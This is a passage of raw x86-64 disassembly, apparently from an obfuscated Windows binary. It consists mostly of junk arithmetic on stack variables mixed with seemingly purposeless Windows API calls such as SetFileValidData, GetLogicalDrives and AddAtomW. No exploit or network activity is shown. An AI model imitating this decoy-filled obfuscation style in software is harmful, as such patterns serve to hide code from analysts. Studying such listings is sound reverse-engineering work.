mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcce0], eax
movsx eax, byte [rsp + 0x55e]
add eax, 0x67
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
xor eax, 0x5ce8
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
sar eax, 4
mov byte [rsp + 0x55e], al
movsx eax, byte [rsp + 0x55e]
or eax, 0x6b
mov byte [rsp + 0x55e], al
mov eax, dword [rsp + 0xccc0]
shl eax, 0x15
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xccc4]
sub eax, 0xdf
mov dword [rsp + 0xccc4], eax
movsx eax, byte [rsp + 0x55e]
and eax, 0x6d
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x7676
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x6bcf
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
sub eax, 0x4b
mov byte [rsp + 0x55e], al
movsx eax, byte [rsp + 0x55e]
add eax, 4
mov byte [rsp + 0x55e], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xccc8], eax
movsx eax, byte [rsp + 0x55e]
sub eax, 0x2f
mov byte [rsp + 0x55e], al
movsx eax, byte [rsp + 0x55e]
and eax, 0x61
mov byte [rsp + 0x55e], al
jmp 0x14001a152
mov dword [rsp + 0xcce4], 0xfcb0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x196c8], rax
mov eax, 0xf2
mov word [rsp + 0x35a4], ax
mov dword [rsp + 0xcce8], 0xc4d1
mov dword [rsp + 0xccec], 0xd815
movzx eax, word [rsp + 0x2964]
imul eax, eax, 0x1f9
mov word [rsp + 0x2964], ax
mov dword [rsp + 0xccf0], 0xd11d
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x35a8], ax
mov dword [rsp + 0xccf4], 0x3fa3
cmp dword [rsp + 0xccec], 0xb1d3
jbe 0x14001a693
mov eax, dword [rsp + 0xcce4]
add eax, 0xd393
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0xccc0]
add eax, 0x3471
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x35a8]
sub eax, 0x784
mov word [rsp + 0x2964], ax
movzx eax, word [rsp + 0x2964]
shl eax, 5
mov word [rsp + 0x35a8], ax
mov edx, 0x24ad9f
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xccf8], eax
mov eax, dword [rsp + 0xcce4]
or eax, 0xacf5
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
xor eax, 0x3599
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sar eax, 0x10
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcce4]
and eax, 0x980b
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0xccec]
sub eax, 0x76
mov dword [rsp + 0xccec], eax
movzx eax, word [rsp + 0x2964]
add eax, 0xa00
mov word [rsp + 0x35a8], ax
movsx eax, byte [rsp + 0x55e]
sub eax, 0xd
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0xdc2
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x58b0
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
add eax, 0x3de9
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
mov eax, dword [rsp + 0xccc0]
sub eax, 0x7ebc
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
and eax, 0x75e5
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
add eax, 0x35
mov byte [rsp + 0x55e], al
movsx eax, word [rsp + 0x35a4]
sar eax, 0xf
mov word [rsp + 0x35a4], ax
movzx eax, word [rsp + 0x35a8]
shl eax, 5
mov word [rsp + 0x2964], ax
mov eax, dword [rsp + 0xccc0]
or eax, 0x7518
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcce4]
xor eax, 0xa778
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x3669
mov dword [rsp + 0xccc0], eax
movsx eax, byte [rsp + 0x55e]
and eax, 0x2c
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x2964]
add eax, 0x8b2
mov word [rsp + 0x35a8], ax
mov eax, dword [rsp + 0xcce4]
sub eax, 0xf1cd
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x46ac
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0xfd7
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcce4]
sub eax, 0x128
mov dword [rsp + 0xcce4], eax
jmp 0x14001a41e
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0xccfc], eax
cmp dword [rsp + 0xccfc], 0x61f9
je 0x14001a6b0
jmp 0x14001a6de
mov eax, dword [rsp + 0xccc0]
add eax, 0x649a
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xccc0]
call fcn.14028d570
jmp 0x14001a72e
mov eax, dword [rsp + 0xcce4]
add eax, 0x618d
mov dword [0x1402ad630], eax
movzx eax, word [rsp + 0x35a8]
and eax, 0x5f9
movzx ecx, word [rsp + 0x2964]
cmp eax, ecx
jle 0x14001a71e
movzx edx, byte [rsp + 0x55e]
movzx ecx, word [rsp + 0x35a8]
call fcn.14028d660
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x35ac], ax
movsx eax, byte [rsp + 0x55e]
cmp eax, 0x3f
jl 0x14001a799
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sar eax, 0xe
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
xor eax, 0xd45
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcce4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xcce4]
movzx r8d, word [rsp + 0x35ac]
mov edx, dword [0x1402ad630]
movzx ecx, word [rsp + 0x35a8]
call fcn.14028d610
jmp 0x14001a819
movzx eax, byte [rsp + 0x666]
or eax, 0x3b
mov byte [rsp + 0x666], al
lea rcx, str.IDM2PBVfWSMD9qA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35b0], ax
movzx eax, word [rsp + 0x35a8]
sub eax, 0x9b1
movzx ecx, word [rsp + 0x2964]
cmp eax, ecx
jne 0x14001a819
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x54c
mov dword [rsp + 0xccc0], eax
movzx edx, byte [rsp + 0x55e]
movzx ecx, byte [rsp + 0x55e]
call fcn.14028d470
movsx eax, word [rsp + 0x35ac]
and eax, 0x576
mov word [rsp + 0x35a4], ax
movzx eax, byte [rsp + 0x666]
cmp eax, 0xd5
jg 0x14001a94b
lea rax, [rsp + 0x666]
mov qword [rsp + 0x196d8], rax
mov dword [rsp + 0xcd00], 0xa243
mov dword [rsp + 0xcd04], 0x39a8
movzx eax, byte [rsp + 0x55e]
mov byte [rsp + 0x782], al
movzx eax, byte [rsp + 0x782]
mov byte [0x1402bf78c], al
movzx eax, byte [rsp + 0x666]
mov byte [rsp + 0x783], al
movsx eax, word [rsp + 0x35a4]
mov dword [rsp + 0xcd08], eax
cmp dword [rsp + 0xcd08], 0
je 0x14001a89c
jmp 0x14001a931
mov eax, dword [rsp + 0xcce4]
mov dword [rsp + 0xcd0c], eax
cmp dword [rsp + 0xcd0c], 0xdd1e
je 0x14001a90e
cmp dword [rsp + 0xcd0c], 0xffff4c7e
je 0x14001a8c6
jmp 0x14001a924
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x1a18], ax
lea rax, [rsp + 0xcce4]
mov qword [rsp + 0x196e0], rax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xcd10], eax
mov dword [rsp + 0xcd14], 0xe585
jmp 0x14001a924
mov eax, dword [rsp + 0xccc0]
sub eax, 0x14e7
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov dword [rsp + 0xcd18], 0x841
jmp 0x14001a94b
mov edx, 0x2a
mov rcx, qword [rsp + 0x196e8]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0xcd1c], eax
movzx eax, byte [rsp + 0x55e]
mov byte [rsp + 0xcd20], al
cmp byte [rsp + 0xcd20], 8
je 0x14001a977
cmp byte [rsp + 0xcd20], 0x74
je 0x14028d2aa
jmp 0x14028d2c4
cmp dword [rsp + 0xcd18], 0x421
jb 0x14001ac71
mov eax, dword [rsp + 0xcd18]
sub eax, 0x20
mov dword [rsp + 0xcd18], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [rsp + 0xcd1c], eax
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35a8]
sub eax, ecx
mov word [rsp + 0x2964], ax
mov eax, dword [rsp + 0xcce4]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcd10]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x196f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x196f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcce4], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x35a8]
shl eax, cl
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
or eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf78c]
and eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0xccc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
sub eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd24], eax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcd28], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd2c], eax
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcce0], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x2964]
shl eax, cl
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
or eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad630], eax
mov eax, dword [rsp + 0xcd1c]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x196f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x196f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xccc0], eax
jmp 0x14001a977
mov eax, dword [rsp + 0xcd10]
mov dword [rsp + 0xcd30], eax
cmp dword [rsp + 0xcd30], 0
je 0x14001ac8e
jmp 0x14001ad49
movzx eax, word [rsp + 0x2964]
mov dword [rsp + 0xcd34], eax
cmp dword [rsp + 0xcd34], 0x394
je 0x14001acdd
cmp dword [rsp + 0xcd34], 0x728
je 0x14001acbc
jmp 0x14001ad44
mov rax, qword [rsp + 0x196b8]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x783]
mov ecx, dword [rsp + 0xccc0]
call fcn.14028d4b0
jmp 0x14001ad44
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
movsx eax, word [rsp + 0x35ac]
add eax, 0x407
mov word [rsp + 0x35a4], ax
jmp 0x14001adf2
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf78c]
sub eax, ecx
mov byte [rsp + 0x55e], al
lea r9, [rsp + 0x196b8]
mov r8d, 0xc
mov edx, 0x52
mov rcx, qword [rsp + 0x19700]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x19708], rax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
and eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
movzx edx, byte [rsp + 0x782]
movzx ecx, byte [rsp + 0x782]
call fcn.14028d470
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x1a18]
add eax, ecx
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [0x1402ad630]
mov qword [rsp + 0x19710], rax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0xcd38], 0xe9d9
movsx eax, word [rsp + 0x35a4]
add eax, 0x3d2
movsx ecx, word [rsp + 0x35ac]
cmp eax, ecx
jg 0x14001aeb1
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
movzx edx, byte [rsp + 0x55e]
movzx ecx, word [rsp + 0x2964]
call fcn.14028d660
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [0x1402ad630]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd10], eax
jmp 0x14001aef7
mov eax, dword [rsp + 0xcd1c]
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x784], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xcd1c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x1a18]
sub eax, ecx
mov word [rsp + 0x2964], ax
mov dword [rsp + 0xcd40], 0x33de
movzx eax, byte [rsp + 0x784]
mov byte [rsp + 0xcd44], al
cmp byte [rsp + 0xcd44], 8
je 0x14028d1f7
cmp byte [rsp + 0xcd44], 0xbf
je 0x14001af60
jmp 0x14028d20f
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x35b4], ax
movzx ecx, word [rsp + 0x35b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
and eax, ecx
mov byte [rsp + 0x784], al
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x1a18]
add eax, ecx
mov word [rsp + 0x2964], ax
mov eax, dword [0x1402ad630]
mov ecx, dword [rsp + 0xcd10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad634], eax
mov eax, dword [rsp + 0x91e8]
movzx ecx, al
mov eax, dword [rsp + 0xcd3c]
shl eax, cl
mov dword [rsp + 0xcd1c], eax
mov eax, dword [rsp + 0xccf0]
add eax, 0x4e
mov dword [rsp + 0xccf0], eax
mov eax, dword [rsp + 0xcd10]
movzx ecx, al
mov eax, dword [rsp + 0xcce4]
shr eax, cl
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd3c], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x35a8]
or eax, ecx
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
and eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd1c], eax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
lea rcx, [rsp + 0x19718]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x35a8]
add eax, ecx
mov word [rsp + 0x1a18], ax
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35b4]
and eax, ecx
mov word [rsp + 0x35ac], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [0x1402bf78c]
sub eax, ecx
mov byte [rsp + 0x782], al
mov r9d, 1
lea r8, [rsp + 0x19718]
mov rdx, qword [rsp + 0x19720]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xccc0]
sar eax, cl
mov dword [rsp + 0xcd1c], eax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x666]
or eax, ecx
mov byte [rsp + 0x783], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
shl eax, cl
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
sub eax, ecx
mov word [rsp + 0x35a8], ax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x783]
add eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad634], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
shl eax, cl
mov dword [rsp + 0xcd1c], eax
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35ac]
sar eax, cl
mov word [rsp + 0x35b4], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [0x1402bf78c]
or eax, ecx
mov byte [rsp + 0x782], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x35a8]
xor eax, ecx
mov word [rsp + 0x1a18], ax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x783]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xccc0], eax
cmp dword [rsp + 0xccf0], 0xec89
jbe 0x14001af70
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x785], al
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acb3a], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
sub eax, ecx
mov word [rsp + 0x35a8], ax
lea rax, [rsp + 0xcce4]
mov qword [rsp + 0x19728], rax
mov eax, dword [rsp + 0xcd10]
mov dword [rsp + 0xcd48], eax
cmp dword [rsp + 0xcd48], 0
je 0x14001b45f
cmp dword [rsp + 0xcd48], 0xf0eb
je 0x14028d15d
jmp 0x14028d1a9
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x18d8], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x1a18]
add eax, ecx
movzx ecx, word [rsp + 0x35a8]
movzx edx, word [rsp + 0x2964]
add ecx, edx
cmp eax, ecx
jl 0x14028d0cc
cmp dword [rsp + 0xcccc], 0x608a
jb 0x14001b9bc
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x2964]
and eax, ecx
mov word [rsp + 0x18d8], ax
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad634], eax
movzx eax, byte [rsp + 0x783]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov byte [rsp + 0x784], al
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd1c]
shl eax, cl
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd10], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x18d8]
sar eax, cl
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
and eax, ecx
mov byte [rsp + 0x784], al
movsx eax, word [rsp + 0x35ac]
movsx ecx, word [rsp + 0x35b4]
add eax, ecx
mov word [rsp + 0x35a4], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [0x1402bf78c], al
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xccc0]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
and eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x18d8]
sub eax, ecx
mov word [rsp + 0x1a18], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd50], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
